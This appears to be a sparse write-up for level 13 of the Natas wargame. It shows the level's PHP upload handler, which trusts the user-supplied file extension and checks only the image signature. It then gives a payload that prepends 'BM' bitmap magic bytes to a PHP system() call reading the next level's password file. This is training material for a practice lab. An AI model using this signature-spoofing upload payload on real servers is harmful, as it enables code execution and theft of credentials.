Natas Wargame Level 13 Writeup（文件上传漏洞，篡改file signature，Exif）

 1 <? 
 2 
 3 function genRandomString() {
 4     $length = 10;
 5     $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
 6     $string = "";    
 7 
 8     for ($p = 0; $p < $length; $p++) {
 9         $string .= $characters[mt_rand(0, strlen($characters)-1)];
10     }
11 
12     return $string;
13 }
14 
15 function makeRandomPath($dir, $ext) {
16     do {
17     $path = $dir."/".genRandomString().".".$ext;
18     } while(file_exists($path));
19     return $path;
20 }
21 
22 function makeRandomPathFromFilename($dir, $fn) {
23     $ext = pathinfo($fn, PATHINFO_EXTENSION);
24     return makeRandomPath($dir, $ext);
25 }
26 
27 if(array_key_exists("filename", $_POST)) {
28     $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
29 
30 
31         if(filesize($_FILES[‘uploadedfile‘][‘tmp_name‘]) > 1000) {
32         echo "File is too big";
33     } else if (! exif_imagetype($_FILES[‘uploadedfile‘][‘tmp_name‘])) {
34         echo "File is not an image";
35     } else {
36         if(move_uploaded_file($_FILES[‘uploadedfile‘][‘tmp_name‘], $target_path)) {
37             echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
38         } else{
39             echo "There was an error uploading the file, please try again!";
40         }
41     }
42 } else {
43 ?> 

1 BM<?php $a = system(‘cat /etc/natas_webpass/natas14‘);echo $a;?>

1 <?php echo exif_imagetype(‘test.php‘); ?>